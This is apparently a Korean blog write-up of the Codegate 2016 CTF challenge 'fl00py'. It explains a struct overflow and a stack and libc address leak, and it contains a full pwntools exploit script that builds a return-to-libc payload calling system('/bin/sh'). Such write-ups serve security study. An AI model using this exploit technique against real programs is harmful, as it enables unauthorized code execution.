Notice
Recent Posts
Recent Comments
Link
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

Codegate 2016 fl00py 본문

Security/Pwnable

Codegate 2016 fl00py

Cdor1 2017. 3. 20. 21:41

이런 메뉴를 가지고 있는 플로피 관리 프로그램이다.


floppy1과 floppy2라는 구조체가 존재하는데

(구조 : flag(4), data_addr(4), desc(12), length(4))

37바이트를 받아서 floppy + 8에 그대로 복사해주는 바람에 floppy1에서 floppy2의 data를 침범 가능하다.


read메뉴에서 %s로 data를 읽어와 주니까 leak을 통해 stack주소와 

ret영역에 적혀있는 __libc_start_main을 얻어 system과 binsh 주소를 함께 얻어낼 수 있다.


exit 할 때 이런 과정을 거치게 되므로

floppy1의 data_addr를 ebp-8부분으로 overwrite해서

payload 넣고 get shell



from pwn import *
s = process('fl00py')

def choose(select):
	print s.recvuntil('>')
	s.sendline('1')
	print s.recvuntil('Which floppy do you want to use? 1 or 2?')
	s.sendline(str(select))

def write(data, desc):
        print s.recvuntil('>')
        s.sendline('2')
        print s.recvuntil('Input your data:')
        s.sendline(data)
	print s.recvuntil('Description:')
	s.sendline(desc)
	
def read():
	print s.recvuntil('>')
	s.sendline('3')

def modify(select, data):
	print s.recvuntil('>')
	s.sendline('4')
	print s.recvuntil('Which one do you want to modify? 1 Description | 2 Data')
	s.sendline(str(select))
	print s.recv(2048)
	s.sendline(data)

choose(1)
write('aaaa', 'bbbb')
modify(1, 'a'*16)
read()
print s.recvuntil('a'*16)
stack = u32(s.recv(4))
log.info('stack : ' + hex(stack))

modify(1, 'b'*32)
choose(1)
read()
print s.recvuntil('b'*16 + p32(stack) + 'b'*12)
libc_main = u32(s.recv(4)) - 243
base = libc_main - 0x199e0
system = base + 0x3fe70
binsh = base + 0x15DA8C
log.info('libc_main : ' + hex(libc_main))
log.info('base : ' + hex(base))
log.info('system : ' + hex(system))
log.info('binsh : ' + hex(binsh))

choose(2)
write('aaaa', 'bbbb')
modify(1, 'a'*20 + p32(stack + 0x1c))

choose(1)
modify(2, p32(stack + 0x3c) + 'a'*24 + p32(system) + 'aaaa' + p32(binsh))
s.sendline('5')
s.interactive()


'Security > Pwnable' 카테고리의 다른 글

New 공유기 vector  (0) 2017.03.22
Codegate 2016 Oldschool  (0) 2017.03.21
pwntools TIP  (0) 2017.03.18
pwnable.kr asm  (0) 2017.03.18
공유기 vector  (0) 2017.03.17
Comments